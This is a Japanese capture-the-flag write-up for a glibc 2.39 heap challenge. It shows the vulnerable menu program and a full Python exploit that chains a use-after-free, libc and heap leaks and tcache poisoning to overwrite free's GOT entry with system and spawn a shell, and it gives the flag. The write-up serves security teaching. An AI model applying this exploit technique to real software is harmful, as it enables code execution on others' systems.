Full Weak Engineer CTF 2025 Guide to heap Writeup
問題バイナリ
セキュリティ機構の状況、およびソースコードを以下に示します。GLIBCのバージョンは、2.39です。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
char *chunks[8];
void menu() {
puts("1. malloc");
puts("2. free");
puts("3. edit");
puts("4. show");
puts("5. exit");
printf("> ");
}
void allocate() {
int idx;
size_t size;
printf("Index: ");
scanf("%d", &idx);
if (idx < 0 || idx >= 8) {
puts("Invalid index");
return;
}
printf("Size: ");
scanf("%lu", &size);
chunks[idx] = malloc(size);
if (!chunks[idx]) {
puts("Allocation failed");
exit(1);
}
printf("Data: ");
read(0, chunks[idx], size);
}
void delete() {
int idx;
printf("Index: ");
scanf("%d", &idx);
if (idx < 0 || idx >= 8) {
puts("Invalid index");
return;
}
free(chunks[idx]);
}
void edit() {
int idx;
printf("Index: ");
scanf("%d", &idx);
if (idx < 0 || idx >= 8) {
puts("Invalid index");
return;
}
if (!chunks[idx]) {
puts("Invalid chunk");
return;
}
printf("Data: ");
read(0, chunks[idx], 0x100);
}
void show() {
int idx;
printf("Index: ");
scanf("%d", &idx);
if (idx < 0 || idx >= 8) {
puts("Invalid index");
return;
}
if (!chunks[idx]) {
puts("Invalid chunk");
return;
}
write(1, chunks[idx], 0x100);
}
int main() {
init();
puts("Welcome to guided heap!");
while (1) {
menu();
int choice;
scanf("%d", &choice);
switch (choice) {
case 1: allocate(); break;
case 2: delete(); break;
case 3: edit(); break;
case 4: show(); break;
case 5: exit(0);
default: puts("Invalid choice");
}
}
}
// This problem assumes a libc leak and system("/bin/sh").
観察
PIEが無効化されていて、Partial RELROなので、任意のアドレスが書き換え出来ればGOT Overwriteが簡単にできます。
edit
関数に注目すると、確保したバッファの容量にかかわらず、0x100
バイトを書き込むため、HeapのOverflowが可能です。(今回は使いませんでした。)
さらに、show
関数も0x100
バイトの読み込みを行うため、メタデータのリークができます。
また、delete
関数に注目すると、free
するときに、chunks[idx]=0
にしていません。したがって、再度書き込もうと思っても、if(!chunks[idx])
のチェックにひっかからず、Use After Freeが容易に可能。
解答
プログラム最後の行に、// This problem assumes a libc leak
とあるので、libc leakをしましょう。以下の記事でも言及されていますが、Unsorted Binに入るようなチャンクのfd
は、main_arena
のtop
を指します。これは、libcのアドレスなので、オフセット計算によりlibcのベースアドレスが判明します。
あとは、GOT Overwriteをすればよいです。今回は、free
のGOTアドレスをsystem
に書き換えましょう。なぜなら、delete
関数の最後で、free(chunks[idx])
が実行されるため、適当にmalloc
して/bin/sh\x00
を書き込めば、system("/bin/sh")
が実行されるからです。
したがって、目標は任意アドレスの書き換えです。tcache poisoningを用います。先述したように、このプログラムではUse After Freeが容易に可能なので、当然fd
を書き換えることも簡単です。ここで注意するべきは、fd
はそのままの値で保存されるわけではないということ。
今回のglibcのバージョンは2.39と比較的新しいため、fd
の値に防御機構が働いています。具体的には、fd
が格納されているアドレス(pos
とします)を右に12ビットシフトして、生のfd
の値とのxorを取って、fd
として保存します。これは、以下のコミットからの機能です。PROTECT_PTRマクロを参照。
さて、この防御機構により、fd
の書き換えにはheapのアドレスのリークが必要になります。これは、free
したアドレスのメタデータを、適当にshow
で読み込めば実現できます。
以上の情報により、free
のGOTアドレスをsystem
に書き換え、その引数を"/bin/sh"
というデータへのポインタに設定できます。
かなりad-hocなプログラムですが、例えば以下のようにして侵入できます。
from ptrlib import *
CONTAINER_NAME = "guide-to-heap-guide_heap_dist-1"
io = Socket("chal1.fwectf.com 8010")
libc = ELF("./libc.so.6")
elf = ELF("./chall")
def gdb():
cmd = f"docker exec -u root -i {CONTAINER_NAME} sh -c".split()
cmd += ["gdbserver :9090 --attach $(pidof run) &"]
print(cmd)
subprocess.run(cmd)
def malloc(index, size, data):
io.sendlineafter("> ", "1")
io.sendlineafter("Index: ", str(index))
io.sendlineafter("Size: ", str(size))
io.sendafter("Data: ", data)
print("malloced")
def free(index):
io.sendlineafter("> ", "2")
io.sendlineafter("Index: ", str(index))
print("freed")
def edit(index, data):
io.sendlineafter("> ", "3")
io.sendlineafter("Index: ", str(index))
io.sendafter("Data: ", data)
print("edited")
def show(index):
io.sendlineafter("> ", "4")
io.sendlineafter("Index: ", str(index))
print("showed")
#gdb()
# unsorted bin → libc leak
malloc(0, 0x420, b"A"*8)
malloc(1, 0x30, b"A"*8)
free(0)
show(0)
leak = u64(io.recv(6))
io.recv(2)
libc.base = leak - 0x203b20
# tcache poisiningの準備
malloc(2, 0x10, b"A"*8)
malloc(3, 0x10, b"B"*8)
free(3)
free(2)
# heap leak
show(2)
io.recv(16)
leak2 = u64(io.recv(8)) + 0x10
print(f"chunks[2] = {hex(leak2)}")
# tcache poisoning
edit(2, p64(elf.got("free") ^ (leak2 >> 12)))
# 少なくとも0x10バイトの書き換えをしなければならないが、
# freeのGOTだけ書き換えると、putsが壊れるっぽいため、
# putsも書き込んでいる。
malloc(4, 0x10, b"A"*8)
malloc(5, 0x10, p64(libc.symbol("system"))+p64(libc.symbol("puts")))
malloc(6, 0x8, b"/bin/sh\x00")
free(6)
io.interactive()
fwectf{kn0w1ng_7c4ch3}
Discussion